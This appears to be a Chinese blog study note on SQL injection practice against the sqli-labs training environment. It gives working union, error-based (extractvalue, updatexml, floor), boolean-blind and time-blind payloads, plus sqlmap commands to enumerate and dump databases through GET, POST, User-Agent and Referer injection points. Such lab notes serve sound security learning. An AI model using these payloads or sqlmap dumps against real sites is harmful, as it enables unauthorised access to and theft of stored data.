SQL入门
总结1(2021.8.11)
1、普通联合查询
样例payload:
Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
最基础的;不解释了。
2、extractvalue、updatexml报错注入
样例payload:
Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database() limit 0,1))),3 %23
Less-5/?id=1' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database() limit 0,1)),1),3 %23
解释:将需要查询的内容前置一个非法字符,写在两函数本应填写路径参数的位置,制造非法路径来获取回显信息,返回如XPATH syntax error: '~emails'形式
关键点:
(1)函数原型extractvalue(目标xml文档,xml路径)
updatexml(目标xml文档,xml路径,更新的内容)
(2)0x7e: ‘~’ ,常用非法字符
3、floor报错注入
样例payload:
Less-5/?id=1' union select 1,count(1),3 from information_schema.tables group by concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1)) #
(注:目前在本机Windows下,该注入方法因Can't write; duplicate key in table错误无法使用;不过可在buuoj使用)
解释:当最基本的union select查询无回显,但报错信息仍旧回显时,制造主键重复的错误来获取信息,返回如Duplicate entry '0emails' for key 'group_key' 形式。
关键点:(1)第一个union select后的count(1);
(2)之后的group by;
(3)再之后的concat(floor(rand()*2),(想查询的东西));
(4)最后limit x,1 查看第x行回显;若不加会回显Subquery returns more than 1 row
4、布尔盲注
需配合burp intruder食用。
样例payload:
Less-5/?id=-1' or (select ascii(substr(table_name,§1§,1)) from information_schema.tables where table_schema=database() limit 0,1)=§109§ %23
解释:当使用1-3注入方法均无含有效信息的回显时,利用布尔盲注逐字符试出想要查询的内容。
本题,当payload为真时,页面上会有You are in...........
字样,但payload为假时,啥都没有。
使用intruder Cluster bomb时,效果如图:
5、时间盲注
需配合sqlmap食用
样例payload:
Less-9/?id=-1' or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>102,sleep(2),0) %23
解释:当无论怎么搞,页面回显都巍然不动时,使用时间盲注。当满足if后面的条件时,页面会来回跳一段时间。此法也需要逐字符探测,且不能用intruder。
关键点:if(a,b,c) 如果a为真,就执行b,否则执行c。
Sqlmap使用(2021.8.31)
在sqlmap页面按【shift】右键打开powershell
0.预备知识
常用Sqlmap参数:
【--dbs】显示数据库
【-D “数据库名”】指定数据库
【--tables】显示该数据库里的表
【-T “表名”】指定表
【--colums】显示该表的字段名
【-C “字段名1,字段名2..”】指定字段
【--dump】显示字段中所有内容
- 注入方式(注入点)
(1)GET型注入:
样例:
python sqlmap.py -u http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1
参数【-u】表示探测URL;注意GET参数一定要添加,否则会出问题。
成功后,会回显各种可用的注入:
第一行会有【Parameter:id(GET)】提示注入方式。
若不成功(无法通过GET方式注入),会回显:
此时需尝试其他注入点注入。
(2)POST型注入:
抓包->保存->指定注入点->干活
在burp里抓到如上的包,指定注入点为【uname】(那个【*】起到的就是指定效果)
将其另存为一个TXT文本,用其跑sqlmap:
python sqlmap.py -r C:\Users\Dell\Desktop\sql.txt
其会识别注入点:
成功标志:
(如果不标注注入点,乱注一气,也可能成功:)
(3)其他类似POST型注入的注入
以下列举的注入点,注入方式同(2);但是不标出注入点,不能成功。
不标出注入点 但设置【--level=3】可能成功,但耗时很长。
注入点为【User-Agent】的注入
注入点为【Referer】的注入
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?